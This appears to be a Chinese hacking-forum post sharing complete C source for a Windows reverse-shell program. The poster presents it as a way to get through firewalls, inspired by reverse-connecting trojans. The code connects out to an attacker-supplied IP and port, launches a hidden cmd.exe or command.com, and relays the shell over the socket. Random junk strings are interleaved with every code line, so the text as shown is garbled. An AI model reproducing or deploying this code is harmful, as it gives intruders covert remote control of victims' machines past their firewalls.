社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3819阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !`C%Fkq  
#{w5)|S#JD  
/* ============================== (C~dkR?  
Rebound port in Windows NT m0Z7N5v)  
By wind,2006/7 'bm:u  
===============================*/ AP ;*iyQ[  
#include )KE_t^$  
#include Ws>i)6[  
<_f`$z  
#pragma comment(lib,"wsock32.lib") _ _ =s'  
9}XT'+`y  
void OutputShell(); m >hovikY*  
SOCKET sClient; k.{G&]r{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LJ l1v  
6JWGu/A  
void main(int argc,char **argv) Mz}i[|U\  
{ #4q1{)=  
WSADATA stWsaData; `uhL61cMp  
int nRet; fMzYFM'i  
SOCKADDR_IN stSaiClient,stSaiServer; *JS"(. '(  
2 mq%|VG'  
if(argc != 3) V7n >,k5  
{ <>&89E%j'  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,W8au"  
return; d v[\.T`LY  
} 1{7_ `[  
/evaTQPz  
WSAStartup(MAKEWORD(2,2),&stWsaData); -Y2&A$cM  
sM0c#YK?  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); < %/:w/  
Yd.027  
stSaiClient.sin_family = AF_INET; pr)K{~m]{<  
stSaiClient.sin_port = htons(0); 9kUV1?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9yDFHz w  
jvWI_Fto  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l&$*}yCK  
{ jPj 2  
printf("Bind Socket Failed!\n"); (Q\\Gw   
return; B'!PJj  
} G tG&yeB  
TXx'7[  
stSaiServer.sin_family = AF_INET; yX3PUO9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o;*]1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); FE>3 D1\  
GPMrs)J*!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X+d&OcO=q  
{ Plb}dID"  
printf("Connect Error!"); l~CZW*/  
return; vs+ We*8H  
} AmgWj/>  
OutputShell(); p[_Yi0U  
} z( *]'Y  
Jm%mm SYK  
void OutputShell() )K8P+zn~  
{ <r0.ppgY  
char szBuff[1024]; _F3KFQ4,S-  
SECURITY_ATTRIBUTES stSecurityAttributes; qjJ{+Rz2  
OSVERSIONINFO stOsversionInfo; U2VV[e)Z!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S!u6dz^[$X  
STARTUPINFO stStartupInfo; `:V}1ioX5  
char *szShell; keqr%:E8  
PROCESS_INFORMATION stProcessInformation; `Fz\wPd  
unsigned long lBytesRead; ~:2&/MOP?  
]sf2"~v  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0S%tsXt+  
u,:CJ[3  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =DGn,i9  
stSecurityAttributes.lpSecurityDescriptor = 0; Cc@=?  
stSecurityAttributes.bInheritHandle = TRUE; ,LoMt ]H  
83\ o (  
<Z2(qZ^Z  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 71JM [2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); aytq4Ts  
,}eRnl\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @47[vhE  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0m]~J_   
stStartupInfo.wShowWindow = SW_HIDE; AD~~e% s=  
stStartupInfo.hStdInput = hReadPipe; dCa}ITg  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <WZ1-  
"PZYgl  
GetVersionEx(&stOsversionInfo); x{=[w`  
/'R UA  
switch(stOsversionInfo.dwPlatformId) e} sc]MTM  
{ aQl?d<|+lk  
case 1: D?iy.Dg  
szShell = "command.com"; I{`KKui<M  
break; |h#DL$  
default: = 4BLc  
szShell = "cmd.exe"; 73'U#@g6  
break; +io;K]C  
} 6(ka"Vu~  
+^/Nil  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VQ1?Db(_2  
,:0Q1~8  
send(sClient,szMsg,77,0); /Ki0+(4  
while(1) fo/ D3  
{ Rel(bA-[N  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2E@C0HaL  
if(lBytesRead) c%q}"Y0oh  
{ 7V9%)%=h|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g`%ED0aR  
send(sClient,szBuff,lBytesRead,0); ;J,,f1Vw  
} \SYPu,ZT  
else 30sC4}   
{ +Fu@I{"A  
lBytesRead=recv(sClient,szBuff,1024,0); "i!2=A8k  
if(lBytesRead<=0) break; H B::0l<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *Gk<"pEeS  
} _4~ng#M*  
} X";QA":  
U6/m_`nc  
return; O4 +SD  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五